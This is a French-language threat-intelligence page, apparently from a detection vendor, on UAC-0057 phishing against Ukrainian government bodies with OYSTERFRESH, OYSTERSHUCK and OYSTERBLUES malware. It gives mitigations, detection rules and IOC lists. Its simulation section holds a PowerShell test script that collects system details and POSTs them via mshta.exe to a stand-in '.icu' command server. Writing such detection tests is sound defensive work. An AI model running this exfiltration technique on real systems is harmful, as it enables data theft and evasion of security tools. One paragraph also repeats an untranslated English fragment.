UAC-0057 Met à Jour son Ensemble d’Outils avec OYSTERFRESH, OYSTERSHUCK, et OYSTERBLUES
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
CERT-UA a signalé une campagne de phishing ciblant les organisations gouvernementales ukrainiennes. Les e-mails contiennent des pièces jointes PDF qui redirigent les destinataires vers des archives ZIP transportant des fichiers JavaScript malveillants connus sous les noms de OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES. Une fois exécuté, le logiciel malveillant collecte des informations système et les envoie via des requêtes HTTP POST, avec la possibilité de récupérer un composant Cobalt Strike à un stade ultérieur. L’infrastructure de soutien est dissimulée derrière Cloudflare et utilise largement .icu domaines.
Enquête
L’analyse de CERT-UA a identifié les exemples de JavaScript malveillants, les méthodes de décodage sur lesquelles ils reposent, notamment l’inversion de chaîne, ROT13 et le décodage d’URL, et les modifications de registre utilisées pour maintenir la persistance. Les enquêteurs ont également documenté plusieurs artefacts de fichiers et chemins Windows associés à la chaîne d’infection. L’analyse réseau a lié l’activité à une infrastructure d’hébergement protégée par Cloudflare. Le rapport note également la livraison possible d’un relais Cobalt Strike. .icu hosting infrastructure. The report further notes the possible follow-on delivery of a Cobalt Strike beacon.
Atténuation
Les organisations devraient restreindre l’exécution de wscript.exe pour les utilisateurs standard, limiter l’exécution de PowerShell et de JavaScript, et surveiller les clés de registre Run listées pour toute modification suspecte. Le filtrage Web devrait être utilisé pour bloquer les .icu domaines et, le cas échéant, les plages d’IP liées à Cloudflare associées à la campagne. Les défenseurs devraient également appliquer la stratégie du moindre privilège et empêcher l’exécution automatique de binaires inconnus.
Réponse
Les équipes de sécurité devraient créer des détections pour les noms de fichiers, les clés de registre et le trafic HTTP POST sortant vers les domaines connus. La chasse devrait également couvrir la charge utile possible de Cobalt Strike, y compris le CSBEACON DLL, et toute tâche planifiée nommée MicrosoftEdgeUpdateTaskMachine. Les enquêtes sur les endpoints devraient collecter les arbres de processus pour retracer la chaîne de décodage et d’exécution de JavaScript.
Flux d’attaque
Détections
Points de persistance possibles [ASEPs – Software/NTUSER Hive] (via registry_event)
Voir
Extension de fichier suspecte ajoutée aux clés Run [ASEPs] (via registry_event)
Voir
Extraction d’archive directement depuis le client de messagerie (via process_creation)
Voir
Exécution depuis une archive ZIP [7zip] (via process_creation)
Voir
Exécution depuis une archive RAR [WinRAR] (via process_creation)
Voir
LOLBAS WScript / CScript (via process_creation)
Voir
LOLBAS RunDLL32 (via cmdline)
Voir
Fichiers extraits suspects d’une archive (via file_event)
Voir
Tâche planifiée suspecte (via audit)
Voir
Commande et contrôle suspect par demande DNS avec domaine de premier niveau (TLD) inhabituel (via dns)
Voir
IOC (HashSha256) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES Partie 2
Voir
IOC (HashSha256) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES Partie 1
Voir
IOC (HashSha1) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES
Voir
IOC (HashMd5) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES Partie 2
Voir
IOC (HashMd5) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES Partie 1
Voir
IOC (SourceIP) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES
Voir
IOC (DestinationIP) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES
Voir
Détection d’exfiltration OYSTERBLUES via HTTP POST vers des domaines .icu [Connexion réseau Windows]
Voir
Détection de l’exécution malveillante de JavaScript via wscript.exe [Création de processus Windows]
Voir
Exécution de simulation
Prérequis : La vérification préalable de télémétrie et de référence doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit reflètent directement les TTPs identifiés et produisent la télémétrie exacte attendue par la logique de détection.
-
Narratif et commandes de l’attaque :
L’adversaire exploite un binaire Windows signé (mshta.exe) pour exécuter une petite charge utile JavaScript qui collecte des informations système et les exfiltre via un HTTP POST vers un domaine malveillant “*.icu” contrôlé par le serveur C2. Cette approche de « vivre de la terre » évite de déclencher des alertes AV tout en générant exactement l’événement de pare-feu que la règle surveille (POST + « .icu »). -
Script de test de régression :
# Simulation d'exfiltration type OYSTERBLUES # 1. Encoder les informations système minimales en JSON $info = @{ hostname = $env:COMPUTERNAME user = $env:USERNAME os = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption } | ConvertTo-Json -Compress # 2. Écrire un fichier HTML temporaire exécutant une requête POST JS $htmlPath = "$env:TEMPexfil.html" $js = @" var data = '$info'; fetch('http://malicious-c2.abc.icu/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: data }); "@ Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII # 3. Exécuter via mshta (proxy d'exécution de binaire signé) Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`"" # 4. Laisser le temps à la requête de s'achever puis nettoyer Start-Sleep -Seconds 5 Remove-Item -Path $htmlPath -Force -
Commandes de nettoyage :
# S'assurer que les processus mshta résiduels sont terminés Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force # Supprimer les fichiers temporaires résiduels (le cas échéant) $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "exfil.html" foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }